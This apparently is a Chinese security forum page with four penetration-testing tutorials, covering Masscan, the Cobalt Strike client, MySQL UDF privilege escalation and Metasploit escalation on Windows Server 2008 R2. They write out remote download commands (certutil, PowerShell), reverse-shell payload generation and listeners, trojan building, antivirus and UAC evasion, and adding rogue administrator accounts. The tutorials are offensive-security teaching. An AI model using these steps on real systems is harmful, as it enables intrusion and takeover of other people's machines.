Windows安装和使用Masscan

渗透测试flaray 发表了文章 • 1 个评论 • 42 次浏览 • 4 天前 • 来自相关话题

0x00 前言
Masscan号称最快的互联网端口扫描器,本文来探测一下Masscan在Windows下的安装和使用。
masscan的扫描结果类似于nmap,在内部,它更像scanrand, unicornscan, and ZMap,采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快。而且,masscan更加灵活,它允许自定义任意的地址范和端口范围。
扫描C段常见端口开放可以使用Nmap导入文件扫描,但速度太慢,我们可以牺牲一些准确度使用Masscan快速扫描。

0x01 Windows下编译Masscan
Masscan需要经过编译才能生成exe文件在Windows下使用。
Masscan下载地址:
https://github.com/robertdavidgraham/masscan/
编译工具:vs2012
编译选项中未添加vs2012的编译配置,所以直接编译会报错
 
解决方法:
在string_s.h中添加vs2012配置信息
位于misc-string_s.h,添加代码如下:#if defined(_MSC_VER) && (_MSC_VER == 1700)
/*Visual Studio 2012*/
# include <stdio.h>
# include <string.h>
# define strcasecmp _stricmp
# define memcasecmp _memicmp
# ifndef PRIu64
# define PRIu64 "llu"
# define PRId64 "lld"
# define PRIx64 "llx"
# endif编译成功,执行masscan.exe,提示Packet.dll: not found
如下图




Packet.dll获取方法:
安装WinPcap后在System32下获得
WinPcap下载地址:
https://www.winpcap.org/install/default.htm
在另一系统安装WinPcap,在System32下找到Packet.dll和Wpcap.dll,复制到测试系统下masscan.exe的同级目录,再次运行
程序正常启动,但是无法扫描,报错如下:
FAIL: Error opening adapter: 系统找不到指定的设备。 (20) adapter[\Device\NPF_{71D19B82-0818-4685-A8E7-A6C7C812F2EA}].init: failed
 
0x02 安装WinPcap
官网下载安装即可。
https://www.winpcap.org/install/default.htm
 
0x03 Masscan使用
扫描指定网段和端口:
masscan.exe -p80 192.168.81.1/24
找到一台开启80端口的服务器,回显如下:
Discovered open port 80/tcp on 192.168.81.143
扫描指定主机所有开放的端口:
masscan.exe -p0-65535 192.168.81.143
如下图





扫描指定主机的特定端口:
masscan.exe -p80,443 192.168.81.143

获取banner:
masscan.exe -p80,443,3306 192.168.81.143 --banners

通过配置文件启动扫描:
将配置信息保存在1.conf:
masscan.exe -p80,443,3306 192.168.81.143 --banners --echo>1.conf

读取配置信息1.conf,启动扫描:
masscan.exe -c 1.conf

修改扫描速度为100,000包/秒(Windos下最大为 300,000包/秒),默认100包/秒:
--rate 100000

扫描结果可以以不同的格式输出:(XML是默认格式)-oX <filespec> (XML)
-oB <filespec> (Binary)
-oG <filespec> (Grep)
-oJ <filespec> (Json)
-oL <filespec> (List)
-oU <filespec> (Unicornscan format)默认情况,masscan开启如下配置:
   -sS:   半开放扫描,不完成完整的TCP/IP连接
   -Pn:   跳过主机发现
   -n:   跳过DNS解析
   --randomize-hosts:随机化扫描
   --send-eth:使用libpcap数据包传输详细参数

<ip/range> IP地址范围,有三种有效格式:1、单独的IPv4地址 2、类似"10.0.0.1-10.0.0.233"的范围地址 3、CIDR地址 类似于"0.0.0.0/0",多个目标可以用都好隔开-p <ports,--ports <ports>> 指定端口进行扫描

--banners 获取banner信息,支持少量的协议

--rate <packets-per-second> 指定发包的速率

-c <filename>, --conf <filename> 读取配置文件进行扫描

--echo 将当前的配置重定向到一个配置文件中

-e <ifname> , --adapter <ifname> 指定用来发包的网卡接口名称

--adapter-ip <ip-address> 指定发包的IP地址

--adapter-port <port> 指定发包的源端口

--adapter-mac <mac-address> 指定发包的源MAC地址

--router-mac <mac address> 指定网关的MAC地址

--exclude <ip/range> IP地址范围黑名单,防止masscan扫描

--excludefile <filename> 指定IP地址范围黑名单文件

--includefile,-iL <filename> 读取一个范围列表进行扫描

--ping 扫描应该包含ICMP回应请求

--append-output 以附加的形式输出到文件

--iflist 列出可用的网络接口,然后退出

--retries 发送重试的次数,以1秒为间隔

--nmap 打印与nmap兼容的相关信息

--http-user-agent <user-agent> 设置user-agent字段的值

--show [open,close] 告诉要显示的端口状态,默认是显示开放端口

--noshow [open,close] 禁用端口状态显示

--pcap <filename> 将接收到的数据包以libpcap格式存储

--regress 运行回归测试,测试扫描器是否正常运行

--ttl <num> 指定传出数据包的TTL值,默认为255

--wait <seconds> 指定发送完包之后的等待时间,默认为10秒

--offline 没有实际的发包,主要用来测试开销

-sL 不执行扫描,主要是生成一个随机地址列表

--readscan <binary-files> 读取从-oB生成的二进制文件,可以转化为XML或者JSON格式.

--connection-timeout <secs> 抓取banners时指定保持TCP连接的最大秒数,默认是30秒。
Nmap功能
Masscan可以像nmap许多安全人员一样工作。这里有一些其他类似nmap的选项:
通过传递–nmap开关可以看到类似nmap的功能。1. -iL filename:从文件读取输入。
2. ‐‐exclude filename:在命令行中排除网络。
3. ‐‐excludefile:从文件中排除网络。
4. -S:欺骗源IP。
5. -v interface:详细输出。
6. -vv interface:非常冗长的输出。
7. -e interface:使用指定的接口。
8. -e interface:使用指定的接口。 
已经编译后的exe文件:

masscan.zip


参考:
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%B9%B3%E5%8F%B0%E8%BF%90%E8%A1%8CMasscan%E5%92%8CNmap/
https://www.freebuf.com/sectool/112583.html
https://danielmiessler.com/study/masscan/ 查看全部
0x00 前言
Masscan号称最快的互联网端口扫描器,本文来探测一下Masscan在Windows下的安装和使用。
masscan的扫描结果类似于nmap,在内部,它更像scanrand, unicornscan, and ZMap,采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快。而且,masscan更加灵活,它允许自定义任意的地址范和端口范围。
扫描C段常见端口开放可以使用Nmap导入文件扫描,但速度太慢,我们可以牺牲一些准确度使用Masscan快速扫描。

0x01 Windows下编译Masscan
Masscan需要经过编译才能生成exe文件在Windows下使用。
Masscan下载地址:
https://github.com/robertdavidgraham/masscan/
编译工具:vs2012
编译选项中未添加vs2012的编译配置,所以直接编译会报错
 
解决方法:
在string_s.h中添加vs2012配置信息
位于misc-string_s.h,添加代码如下:
#if defined(_MSC_VER) && (_MSC_VER == 1700)
/*Visual Studio 2012*/
# include <stdio.h>
# include <string.h>
# define strcasecmp _stricmp
# define memcasecmp _memicmp
# ifndef PRIu64
# define PRIu64 "llu"
# define PRId64 "lld"
# define PRIx64 "llx"
# endif
编译成功,执行masscan.exe,提示Packet.dll: not found
如下图
2-1.png

Packet.dll获取方法:
安装WinPcap后在System32下获得
WinPcap下载地址:
https://www.winpcap.org/install/default.htm
在另一系统安装WinPcap,在System32下找到Packet.dll和Wpcap.dll,复制到测试系统下masscan.exe的同级目录,再次运行
程序正常启动,但是无法扫描,报错如下:
FAIL: Error opening adapter: 系统找不到指定的设备。 (20) adapter[\Device\NPF_{71D19B82-0818-4685-A8E7-A6C7C812F2EA}].init: failed
 
0x02 安装WinPcap
官网下载安装即可。
https://www.winpcap.org/install/default.htm
 
0x03 Masscan使用
扫描指定网段和端口:
masscan.exe -p80 192.168.81.1/24
找到一台开启80端口的服务器,回显如下:
Discovered open port 80/tcp on 192.168.81.143
扫描指定主机所有开放的端口:
masscan.exe -p0-65535 192.168.81.143
如下图
3-1.png


扫描指定主机的特定端口:
masscan.exe -p80,443 192.168.81.143

获取banner:
masscan.exe -p80,443,3306 192.168.81.143 --banners

通过配置文件启动扫描:
将配置信息保存在1.conf:
masscan.exe -p80,443,3306 192.168.81.143 --banners --echo>1.conf


读取配置信息1.conf,启动扫描:
masscan.exe -c 1.conf

修改扫描速度为100,000包/秒(Windos下最大为 300,000包/秒),默认100包/秒:
--rate 100000

扫描结果可以以不同的格式输出:(XML是默认格式)
-oX <filespec> (XML)
-oB <filespec> (Binary)
-oG <filespec> (Grep)
-oJ <filespec> (Json)
-oL <filespec> (List)
-oU <filespec> (Unicornscan format)
默认情况,masscan开启如下配置:
   -sS:   半开放扫描,不完成完整的TCP/IP连接
   -Pn:   跳过主机发现
   -n:   跳过DNS解析
   --randomize-hosts:随机化扫描
   --send-eth:使用libpcap数据包传输详细参数

<ip/range> IP地址范围,有三种有效格式:1、单独的IPv4地址 2、类似"10.0.0.1-10.0.0.233"的范围地址 3、CIDR地址 类似于"0.0.0.0/0",多个目标可以用都好隔开
-p <ports,--ports <ports>> 指定端口进行扫描

--banners 获取banner信息,支持少量的协议

--rate <packets-per-second> 指定发包的速率

-c <filename>, --conf <filename> 读取配置文件进行扫描

--echo 将当前的配置重定向到一个配置文件中

-e <ifname> , --adapter <ifname> 指定用来发包的网卡接口名称

--adapter-ip <ip-address> 指定发包的IP地址

--adapter-port <port> 指定发包的源端口

--adapter-mac <mac-address> 指定发包的源MAC地址

--router-mac <mac address> 指定网关的MAC地址

--exclude <ip/range> IP地址范围黑名单,防止masscan扫描

--excludefile <filename> 指定IP地址范围黑名单文件

--includefile,-iL <filename> 读取一个范围列表进行扫描

--ping 扫描应该包含ICMP回应请求

--append-output 以附加的形式输出到文件

--iflist 列出可用的网络接口,然后退出

--retries 发送重试的次数,以1秒为间隔

--nmap 打印与nmap兼容的相关信息

--http-user-agent <user-agent> 设置user-agent字段的值

--show [open,close] 告诉要显示的端口状态,默认是显示开放端口

--noshow [open,close] 禁用端口状态显示

--pcap <filename> 将接收到的数据包以libpcap格式存储

--regress 运行回归测试,测试扫描器是否正常运行

--ttl <num> 指定传出数据包的TTL值,默认为255

--wait <seconds> 指定发送完包之后的等待时间,默认为10秒

--offline 没有实际的发包,主要用来测试开销

-sL 不执行扫描,主要是生成一个随机地址列表

--readscan <binary-files> 读取从-oB生成的二进制文件,可以转化为XML或者JSON格式.

--connection-timeout <secs> 抓取banners时指定保持TCP连接的最大秒数,默认是30秒。

Nmap功能
Masscan可以像nmap许多安全人员一样工作。这里有一些其他类似nmap的选项:
通过传递–nmap开关可以看到类似nmap的功能。
1. -iL filename:从文件读取输入。
2. ‐‐exclude filename:在命令行中排除网络。
3. ‐‐excludefile:从文件中排除网络。
4. -S:欺骗源IP。
5. -v interface:详细输出。
6. -vv interface:非常冗长的输出。
7. -e interface:使用指定的接口。
8. -e interface:使用指定的接口。
 
已经编译后的exe文件:

参考:
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%B9%B3%E5%8F%B0%E8%BF%90%E8%A1%8CMasscan%E5%92%8CNmap/
https://www.freebuf.com/sectool/112583.html
https://danielmiessler.com/study/masscan/

CobaltStrike客户端使用教程

渗透测试wuyou 发表了文章 • 1 个评论 • 97 次浏览 • 5 天前 • 来自相关话题

服务端的搭建很简单,网上有很多,这里就跳过了,直接开始客户端的使用教程
.jar文件就是我们的客户端,我又做了个有图标的快捷方式,这样会更顺眼一些




 
填入服务端的IP和端口,User为用户名,可以随便填一个,密码为统一的搭建服务端时设置的密码




 
CS客户端窗口





Cobalt StrikeNew Connection #进行另外一个连接,支持连接多个服务器端
Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
Visualization #选择展示输出结果的形式
VPN Interfaces #设置VPN接口
Listenrs #创建一个Listener
Script Manager #脚本管理
Close #退出连接
ViewApplications #显示受害者机器的应用信息
Credentials #通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里。
Downloads #下载文件
Event Log #主机上线记录以及团队协作聊天记录
Keystrokes #键盘记录
Proxy Pivots #代理模块
Screenshots #截图
Script Console #控制台,在这里可以加载各种脚本
(https://github.com/rsmudge/cortana-scripts 增强功能)
Targets #显示目标
Web Log #Web访问记录
 Attacks
PackagesHTML Application #生成恶意的HTA木马文件MS Office Macro #生成office宏病毒文件Payload Generator #生成各种语言版本的payloadUSB/CD AutoPlay #生成利用自动播放运行的木马文件,只针对WinXP等旧版本Windows Dropper #捆绑器,能够对文档类进行捆绑Windows Executable #生成可执行exe木马Windows Executable(S) #生成无状态的可执行exe木马Web Drive-by
Manage #对开启的web服务进行管理
Clone Site #克隆网站,可以记录受害者提交的数据
Host File #提供一个文件下载,可以修改Mime信息
PowerShell Web Delivery #类似于Metasploit的web_delivery
Signed Applet Attack #使用java自签名的程序进行钓鱼攻击
Smart Applet Attack #自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish #用来邮件钓鱼的模块
 Reportingactivity report #活动报告
Hosts report #主机报告
Indicators of Compromise #目标报告
Sessions report #会话报告
Social engineering report #社会工程报告
Export data #数据出口
 helpHomepage #官方主页
Support #技术支持
Arsenal #开发者
System information #版本信息
About #关于
 如何使靶机上线
1、建立至少一个监听




beacon为CS的监听器,foreign为外部也就是metasploit的监听器windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp




 
2、生成恶意EXE程序Attacks -> Packages -> Windows Executable







之后选择生成目录,生成的恶意EXE就建立好了,只要在靶机上双击执行,目标就会成功上线
 
3、生成Web木马Attacks -> Packages -> HTML Application选择脚本语言和生成目录后我们的木马就创建成功了,之后要把他放到Web服务的目录下,从而使受害者在点击页面时自动提示下载,如果受害者下载并执行,则靶机成功上线
这里也可以帮助我们快速的向服务器上上传一些需要远程下载的文件,CS可以帮助我们生成远程下载命令,我这里也再添加两条certutil -urlcache -split -f http://ip/1.txt E:/test.php
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://ip','E:\test.php')



 
4、生成恶意payloadAttacks -> Packages -> Payload Generator



 
注意:生成的Payload中只包含了我们的监听信息,要利用必须结合Veil或Metasploit生成完整代码,再替换其中的监听信息
因为代码有天然的免杀能力,比如一个Python脚本在靶机运行他之后就会直接上线,而杀毒软件没有任何反应,这可以帮助我们从源码开始进行免杀!
 
5、CS的上线方式还有很多,比如Office宏病毒等,这里就不一一介绍了
 
靶机上线后如何进行命令执行




由于CS默认响应时间为60s,所以如果想要快速执行命令的话就要设置一下beacon> sleep 0



如果我们想执行whoami之类的cmd命令,就要在命令前加上shellbeacon> shell whoami但CS自带的命令不需要加,输入help来查看CS自带了哪些命令
 
提权beacon> bypassuac
beacon> getsystem选择一个监听来使成功提权后的Session反弹进来





带“*”的并且图标带红边的就是高权限的Session





派生





如果服务端是搭在公网上的,也可以直接设置Msf的IP为本地内网地址,不用做端口转发




 
派生前要在Msf中开始监听use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.1
set lport 8080
exploit当然,除了派生给Msf,我们也可以利用派生功能将Session派生给其他使用CS的团队成员
 
其他模块
CS中还有很多后渗透的模块,比如VNC、C段存活主机扫描、抓密码、代理等等
因为CS是视图操作,所以我个人认为有些模块是比Msf中要简单快捷的,所以CS和Msf的联动是非常重要的!




 
  查看全部
服务端的搭建很简单,网上有很多,这里就跳过了,直接开始客户端的使用教程
.jar文件就是我们的客户端,我又做了个有图标的快捷方式,这样会更顺眼一些
1.png

 
填入服务端的IP和端口,User为用户名,可以随便填一个,密码为统一的搭建服务端时设置的密码
2.png

 
CS客户端窗口
3.png


Cobalt Strike
New Connection   #进行另外一个连接,支持连接多个服务器端
Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
Visualization #选择展示输出结果的形式
VPN Interfaces #设置VPN接口
Listenrs #创建一个Listener
Script Manager #脚本管理
Close #退出连接

View
Applications   #显示受害者机器的应用信息
Credentials #通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里。
Downloads #下载文件
Event Log #主机上线记录以及团队协作聊天记录
Keystrokes #键盘记录
Proxy Pivots #代理模块
Screenshots #截图
Script Console #控制台,在这里可以加载各种脚本
(https://github.com/rsmudge/cortana-scripts 增强功能)
Targets #显示目标
Web Log #Web访问记录

 Attacks
  • Packages
HTML Application   #生成恶意的HTA木马文件MS Office Macro   #生成office宏病毒文件Payload Generator   #生成各种语言版本的payloadUSB/CD AutoPlay   #生成利用自动播放运行的木马文件,只针对WinXP等旧版本Windows Dropper   #捆绑器,能够对文档类进行捆绑Windows Executable   #生成可执行exe木马Windows Executable(S)   #生成无状态的可执行exe木马
  • Web Drive-by

Manage   #对开启的web服务进行管理
Clone Site #克隆网站,可以记录受害者提交的数据
Host File #提供一个文件下载,可以修改Mime信息
PowerShell Web Delivery #类似于Metasploit的web_delivery
Signed Applet Attack #使用java自签名的程序进行钓鱼攻击
Smart Applet Attack #自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish #用来邮件钓鱼的模块

 Reporting
activity report   #活动报告
Hosts report #主机报告
Indicators of Compromise #目标报告
Sessions report #会话报告
Social engineering report #社会工程报告
Export data #数据出口

 help
Homepage   #官方主页
Support #技术支持
Arsenal #开发者
System information #版本信息
About #关于

 如何使靶机上线
1、建立至少一个监听
6.png

beacon为CS的监听器,foreign为外部也就是metasploit的监听器
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

7.png

 
2、生成恶意EXE程序
Attacks -> Packages -> Windows Executable
4.png

8.png

之后选择生成目录,生成的恶意EXE就建立好了,只要在靶机上双击执行,目标就会成功上线
 
3、生成Web木马
Attacks -> Packages -> HTML Application
选择脚本语言和生成目录后我们的木马就创建成功了,之后要把他放到Web服务的目录下,从而使受害者在点击页面时自动提示下载,如果受害者下载并执行,则靶机成功上线
这里也可以帮助我们快速的向服务器上上传一些需要远程下载的文件,CS可以帮助我们生成远程下载命令,我这里也再添加两条
certutil -urlcache -split -f http://ip/1.txt E:/test.php
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://ip','E:\test.php')
9.png

 
4、生成恶意payload
Attacks -> Packages -> Payload Generator
10.png

 
注意:生成的Payload中只包含了我们的监听信息,要利用必须结合Veil或Metasploit生成完整代码,再替换其中的监听信息
因为代码有天然的免杀能力,比如一个Python脚本在靶机运行他之后就会直接上线,而杀毒软件没有任何反应,这可以帮助我们从源码开始进行免杀!
 
5、CS的上线方式还有很多,比如Office宏病毒等,这里就不一一介绍了
 
靶机上线后如何进行命令执行
12.png

由于CS默认响应时间为60s,所以如果想要快速执行命令的话就要设置一下
beacon> sleep 0
13.png

如果我们想执行whoami之类的cmd命令,就要在命令前加上shell
beacon> shell whoami
但CS自带的命令不需要加,输入help来查看CS自带了哪些命令
 
提权
beacon> bypassuac
beacon> getsystem
选择一个监听来使成功提权后的Session反弹进来

14.png

带“*”的并且图标带红边的就是高权限的Session
15.png


派生
16.png


如果服务端是搭在公网上的,也可以直接设置Msf的IP为本地内网地址,不用做端口转发
17.png

 
派生前要在Msf中开始监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.1
set lport 8080
exploit
当然,除了派生给Msf,我们也可以利用派生功能将Session派生给其他使用CS的团队成员
 
其他模块
CS中还有很多后渗透的模块,比如VNC、C段存活主机扫描、抓密码、代理等等
因为CS是视图操作,所以我个人认为有些模块是比Msf中要简单快捷的,所以CS和Msf的联动是非常重要的!
18.png

 
 

Mysql udf 提权

渗透测试你可以叫我风平 发表了文章 • 0 个评论 • 51 次浏览 • 5 天前 • 来自相关话题

目录:
一、UDF介绍
二、Mysql_udf提权的方式
1.get_shell后上传木马提权
2.获取mysql root 用户账号密码进行管理员提权
 
内容:
一、UDF的介绍
UDF(user defined function),即用户自定义函数,是通过添加新函数对Mysql的功能进行扩充。函数能返回字符串,整数或实数;可以自定义简单函数,或者集合函数;提供给函数的信息使函数可以检查传递它们的参量的数目和类型;可以将Mysql在将某参量传递给函数之前强制转换为某一类型;可以表示函数返回NULL或发生错误;
二、Mysql_udf提权的方式
           Windows下udf提权的条件:
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件下如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限
 
    1.get_shell后上传木马提权
    0x01 上传小马、大马
    查找路径命令dir d:\user.MYD /s




    0x02 破解数据库密码
   下载user.MYD文件(数据信息文件(MYData))
    我的路径:D\phpstudy\PHPTutorial\MySQL\data\mysql





    用winhex打开





    将上面的密文copy下来,找两行拼凑40位,不足40位的可用0补全
    6BB4837EB74329105EE4568D 24位
    6BB4837EB74329105EE4568D
    6BB4837EB74329105EE456
    补全后:6BB4837EB74329105EE4568D0000000000000000 40位
    将补全后的密文拿去解密:https://www.cmd5.com/ 
    一般的弱密码都能解开,强密码则需要付出点什么(money)交换。





    0x03 安装mysqlDLL.dll文件
    点击安装





    出现报错,这时需要手动创建plugin/目录
    由于MySQL>5.2版本后,在其安装目录的lib目录下没有 plugin 目录,所以,我们得新建这个目录,并且将我们的 .dll 文件放入 plugin目录下,并且将.dll放入该目录下










    重新安装即可成功:(已经浮现之后,第二次复现下载的时候需要把文件名更换,不能重复)





    0x04 执行命令
    添加新用户
    用户名:YLsmile 密码:123@qwe
    命令: 
    添加用户 net user YLsmile 123@qwe /add    查看用户权限 net user YLsmile




    提权
    将用户组提升至adminstrators Net localgroup administrators YLsmile /add






    成功





    开启端口





    远程连接





    删除cmd shelldrop function cmdshell




 
 
    2.获取mysql root 用户账号密码进行管理员提权
    0x01用户连接
    0x02进行提权
    用mysql_hex()函数将udf.dll文件转化为16进制SELECT hex(load_file(‘F:\\phpstudy\\PHPTutoria1\\MySQL\\lib\\mysqlDLL.dll’)) into dumpfile ‘C:\\Users\\19757\\Desktop\\gg.txt’;    创建一个临时表create table mysql.a(cmd LONGBLOB);    将16进制字符串写入临时表(内容在提权工具udf.php代码中的16进制字符串)Insert into mysql.a (cmd) values (16进制字符串);    将查询内容解码并写到目标路径SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE ‘F://phpstudy//PHPTutorial//MySQL//lib//plugin//udf.dll’;    从udf文件中引入自定义函数Create function cmdshell returns string soname ‘udf.dll’;    命令执行Select cmdshell(‘whoami’);
 
 
 
  查看全部
目录:
一、UDF介绍
二、Mysql_udf提权的方式
1.get_shell后上传木马提权
2.获取mysql root 用户账号密码进行管理员提权
 
内容:
一、UDF的介绍
  1. UDF(user defined function),即用户自定义函数,是通过添加新函数对Mysql的功能进行扩充。
  2. 函数能返回字符串,整数或实数;
  3. 可以自定义简单函数,或者集合函数;
  4. 提供给函数的信息使函数可以检查传递它们的参量的数目和类型;
  5. 可以将Mysql在将某参量传递给函数之前强制转换为某一类型;
  6. 可以表示函数返回NULL或发生错误;

二、Mysql_udf提权的方式
           Windows下udf提权的条件:
  1. 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件下
  2. 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  3. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  4. 拥有可以将udf.dll写入相应目录的权限

 
    1.get_shell后上传木马提权
    0x01 上传小马、大马
    查找路径命令
dir d:\user.MYD /s

1.png

    0x02 破解数据库密码
   下载user.MYD文件(数据信息文件(MYData))
    我的路径:D\phpstudy\PHPTutorial\MySQL\data\mysql

2.png

    用winhex打开

3.png

    将上面的密文copy下来,找两行拼凑40位,不足40位的可用0补全
    6BB4837EB74329105EE4568D 24位
    6BB4837EB74329105EE4568D
    6BB4837EB74329105EE456
    补全后:6BB4837EB74329105EE4568D0000000000000000 40位
    将补全后的密文拿去解密:https://www.cmd5.com/ 
    一般的弱密码都能解开,强密码则需要付出点什么(money)交换。

4.png

    0x03 安装mysqlDLL.dll文件
    点击安装

5.png

    出现报错,这时需要手动创建plugin/目录
    由于MySQL>5.2版本后,在其安装目录的lib目录下没有 plugin 目录,所以,我们得新建这个目录,并且将我们的 .dll 文件放入 plugin目录下,并且将.dll放入该目录下

6.png


7.png

    重新安装即可成功:(已经浮现之后,第二次复现下载的时候需要把文件名更换,不能重复)

8.png

    0x04 执行命令
    添加新用户
    用户名:YLsmile 密码:123@qwe
    命令: 
    添加用户 
net user YLsmile 123@qwe /add
    查看用户权限 
net user YLsmile

9.png

    提权
    将用户组提升至adminstrators
 Net localgroup administrators YLsmile /add


10.png

    成功

11.png

    开启端口

12.png

    远程连接

13.png

    删除cmd shell
drop function cmdshell

14.png

 
 
    2.获取mysql root 用户账号密码进行管理员提权
    0x01用户连接
    0x02进行提权
    用mysql_hex()函数将udf.dll文件转化为16进制
SELECT hex(load_file(‘F:\\phpstudy\\PHPTutoria1\\MySQL\\lib\\mysqlDLL.dll’)) into dumpfile ‘C:\\Users\\19757\\Desktop\\gg.txt’;
    创建一个临时表
create table mysql.a(cmd LONGBLOB);
    将16进制字符串写入临时表(内容在提权工具udf.php代码中的16进制字符串)
Insert into mysql.a (cmd) values (16进制字符串);
    将查询内容解码并写到目标路径
SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE ‘F://phpstudy//PHPTutorial//MySQL//lib//plugin//udf.dll’;
    从udf文件中引入自定义函数
Create function cmdshell returns string soname ‘udf.dll’;
    命令执行
Select cmdshell(‘whoami’);

 
 
 
 

使用Metasploit进行Windows Server2008 R2提权

渗透测试wuyou 发表了文章 • 0 个评论 • 52 次浏览 • 6 天前 • 来自相关话题

靶机环境
Windows Server R2 2008 (默认带200个补丁)
SQLserver2008数据库
一个菜刀webshell
 
提权过程
1、使用msf生成payloadmsfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.72 lport=8080 -e x84/shikata_ga_nai -i 5 -f raw > wuyou.c
 2、在菜刀中上传shellcode.exe和wuyou.c
通过进程注入的方法来使远程主机上线,可以绕waf并使进程更隐蔽
https://github.com/clinicallyinane/shellcode_launcher/
 
3、配置metasploit,开始监听use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.29
set lport 8080
exploit




 
4、通过shellcode.exe运行wuyou.c




上线后查看权限




 
5、先尝试一句命令提权getsystem




6、发现失败了,因为有UAC保护

用户帐户控制(User Account Control,简写作UAC)是微软公司在Windows Vista其及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。





 
7、接下来看看我们可不可以通过假冒令牌来bypassuacuse incognito
list_tokens -u //列出令牌
impersonate_token [令牌号] //假冒令牌



结果也没有可用令牌,让我们来看看为什么吧use exploit/windows/local/bypassuac //32位和64位系统都可以用
(exploit/windows/local/bypassuac_injection) //进程注入,比较隐蔽
(exploit/windows/local/bypassuac_vbs)
(use exploit/windows/local/bypassuac_fodhelper)
(use exploit/windows/local/bypassuac_comhijack)
//还有一个模块我没有列出来,因为这个必须要用户点击一下弹窗的确定才能bypassuac




原因就是当前权限不在管理组内,如果我们是在渗透Win10的话,bypassuac后便可以直接getsystem提权了,如果是用CS和metasploit联动的话,直接可以用CS来bypassuac,再派生到MSF上,这样比较快捷
 
8、查看安装了哪些补丁meterpreter > shell
C:\inetpub\wwwroot>systeminfo
(C:\inetpub\wwwroot>wmic qfe list) //这条命令也可以
将补丁号复制下来,粘贴到提权辅助页面上并查询(类似工具有很多)
https://bugs.hacking8.com/tiquan/




 
9、选择一个并利用



meterpreter > background
msf5 exploit(multi/handler) > search ms16-075
msf5 exploit(multi/handler) > use exploit/windows/local/ms16_075_reflection_juicy
msf5 exploit(windows/local/ms16_075_reflection_juicy) > set session 2
msf5 exploit(windows/local/ms16_075_reflection_juicy) > exploit



 
可以看到,已经成功取得了System权限
 
第二种方法
我在服务器的WEB根目录下找到了数据库的用户名和密码




 
拿出我的Navicat Premium





连接上后,开启xp_cmdshell,执行whoami,发现默认是system权限,这也是一种提权的思路
 

  查看全部
靶机环境
Windows Server R2 2008 (默认带200个补丁)
SQLserver2008数据库
一个菜刀webshell
 
提权过程
1、使用msf生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.72 lport=8080 -e x84/shikata_ga_nai -i 5 -f raw > wuyou.c

 2、在菜刀中上传shellcode.exe和wuyou.c
通过进程注入的方法来使远程主机上线,可以绕waf并使进程更隐蔽
https://github.com/clinicallyinane/shellcode_launcher/
 
3、配置metasploit,开始监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.29
set lport 8080
exploit

1.png

 
4、通过shellcode.exe运行wuyou.c
2.png

上线后查看权限
3.png

 
5、先尝试一句命令提权
getsystem
11.png


6、发现失败了,因为有UAC保护


用户帐户控制(User Account Control,简写作UAC)是微软公司在Windows Vista其及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。


12.jpg

 
7、接下来看看我们可不可以通过假冒令牌来bypassuac
use incognito
list_tokens -u //列出令牌
impersonate_token [令牌号] //假冒令牌
13.png

结果也没有可用令牌,让我们来看看为什么吧
use exploit/windows/local/bypassuac  //32位和64位系统都可以用
(exploit/windows/local/bypassuac_injection) //进程注入,比较隐蔽
(exploit/windows/local/bypassuac_vbs)
(use exploit/windows/local/bypassuac_fodhelper)
(use exploit/windows/local/bypassuac_comhijack)
//还有一个模块我没有列出来,因为这个必须要用户点击一下弹窗的确定才能bypassuac

14.png

原因就是当前权限不在管理组内,如果我们是在渗透Win10的话,bypassuac后便可以直接getsystem提权了,如果是用CS和metasploit联动的话,直接可以用CS来bypassuac,再派生到MSF上,这样比较快捷
 
8、查看安装了哪些补丁
